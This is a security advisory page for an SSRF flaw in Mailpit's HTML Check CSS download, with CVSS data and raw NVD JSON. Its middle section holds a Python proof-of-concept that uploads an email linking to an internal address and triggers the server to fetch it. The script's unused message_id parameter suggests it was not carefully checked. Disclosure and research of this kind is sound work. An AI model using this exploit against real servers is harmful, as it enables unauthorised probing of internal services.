Security Vulnerability Report
中文
CVE-2026-23845 CVSS 5.8 MEDIUM

CVE-2026-23845

Published: 2026-01-19 19:16:05
Last Modified: 2026-02-05 18:35:31

Description

Mailpit is an email testing tool and API for developers. Versions prior to 1.28.3 are vulnerable to Server-Side Request Forgery (SSRF) via HTML Check CSS Download. The HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `<link rel="stylesheet" href="...">` tags to inline them for testing. Version 1.28.3 fixes the issue.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:* - VULNERABLE
Mailpit < 1.28.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-23845 PoC - Mailpit SSRF via HTML Check CSS Download # Target: Mailpit < 1.28.3 def check_cve_2026_23845(base_url, message_id): """ Exploit SSRF vulnerability in Mailpit's HTML Check feature by injecting malicious CSS URL in HTML email """ # Step 1: Create HTML email with SSRF payload html_payload = ''' <html> <head> <link rel="stylesheet" href="http://127.0.0.1:8080/internal-api/config"> </head> <body> <h1>Test Email</h1> </body> </html> ''' # Step 2: Send email via Mailpit API files = {'file': ('test.html', html_payload, 'text/html')} upload_response = requests.post(f"{base_url}/api/v1/upload", files=files) if upload_response.status_code == 200: msg_id = upload_response.json().get('ids', [''])[0] # Step 3: Trigger HTML Check to exploit SSRF check_url = f"{base_url}/api/v1/message/{msg_id}/html-check" response = requests.post(check_url) print(f"[+] HTML Check triggered for message: {msg_id}") print(f"[+] Response: {response.text}") return True return False # Usage exploit_url = "http://target-mailpit-server:8025" message_id = "test-message-id" check_cve_2026_23845(exploit_url, message_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23845", "sourceIdentifier": "[email protected]", "published": "2026-01-19T19:16:04.820", "lastModified": "2026-02-05T18:35:31.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mailpit is an email testing tool and API for developers. Versions prior to 1.28.3 are vulnerable to Server-Side Request Forgery (SSRF) via HTML Check CSS Download. The HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `<link rel=\"stylesheet\" href=\"...\">` tags to inline them for testing. Version 1.28.3 fixes the issue."}, {"lang": "es", "value": "Mailpit es una herramienta de prueba de correo electrónico y API para desarrolladores. Las versiones anteriores a la 1.28.3 son vulnerables a la falsificación de petición del lado del servidor (SSRF) a través de la descarga de CSS de la función HTML Check. La función HTML Check ('/api/v1/message/{ID}/html-check') está diseñada para analizar correos electrónicos HTML para compatibilidad. Durante este proceso, la función 'inlineRemoteCSS()' descarga automáticamente archivos CSS de etiquetas externas ' para incrustarlos para pruebas. La versión 1.28.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.3", "matchCriteriaId": "D00C1680-049F-472C-A900-66D6B2A11A04"}]}]}], "references": [{"url": "https://github.com/axllent/mailpit/commit/1679a0aba592ebc8487a996d37fea8318c984dfe", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axllent/mailpit/releases/tag/v1.28.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-6jxm-fv7w-rw5j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}